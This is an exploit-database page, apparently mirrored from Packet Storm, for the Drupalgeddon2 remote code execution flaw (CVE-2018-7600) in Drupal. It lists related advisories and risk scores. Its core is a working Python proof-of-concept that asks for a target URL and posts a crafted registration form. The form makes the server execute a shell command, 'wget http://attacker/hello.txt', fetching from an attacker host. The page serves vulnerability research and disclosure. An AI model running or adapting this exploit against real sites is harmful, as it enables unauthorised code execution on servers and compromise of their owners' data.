Drupal Drupalgeddon2 Remote Code Execution

🗓️ 13 Apr 2018 00:00:00Reported by Vitalii RudnykhType

packetstorm🔗 packetstormsecurity.com👁 166 Views

Drupalgeddon2 Remote Code Execution vulnerability exploit scrip

Reporter	Title	Published	Views	Family All 174
IBM Security Bulletins	Security Bulletin: API Connect Developer Portal is affected by Drupal vulnerability (CVE-2018-7600)	15 Jun 201807:09	–	ibm
GithubExploit	Exploit for Improper Input Validation in Drupal	31 Aug 202022:55	–	githubexploit
GithubExploit	Exploit for Improper Input Validation in Drupal	30 Mar 201808:52	–	githubexploit
GithubExploit	Exploit for Improper Input Validation in Drupal	8 Dec 202503:31	–	githubexploit
GithubExploit	Exploit for Improper Input Validation in Drupal	30 May 202610:03	–	githubexploit
GithubExploit	Exploit for Improper Input Validation in Drupal	14 Apr 201818:26	–	githubexploit
GithubExploit	Exploit for Improper Input Validation in Drupal	30 Mar 201814:23	–	githubexploit
GithubExploit	Exploit for Improper Input Validation in Drupal	12 Apr 201822:53	–	githubexploit
GithubExploit	Exploit for Improper Input Validation in Drupal	21 Sep 202522:24	–	githubexploit
GithubExploit	Exploit for Improper Input Validation in Drupal	13 Apr 201810:04	–	githubexploit

`#!/usr/bin/env  
import sys  
import requests  
  
print ('################################################################')  
print ('# Proof-Of-Concept for CVE-2018-7600')  
print ('# by Vitalii Rudnykh')  
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')  
print ('# https://github.com/a2u/CVE-2018-7600')  
print ('################################################################')  
print ('Provided only for educational or information purposes\n')  
  
target = raw_input('Enter target url (example: https://domain.ltd/): ')  
  
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'  
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget http://attacker/hello.txt'}  
  
r = requests.post(url, data=payload)  
if r.status_code != 200:  
sys.exit("Not exploitable")  
print ('\nCheck: '+target+'hello.txt')  
  
`

13 Apr 2018 00:00Current

10High risk

Vulners AI Score10

EPSS0.94489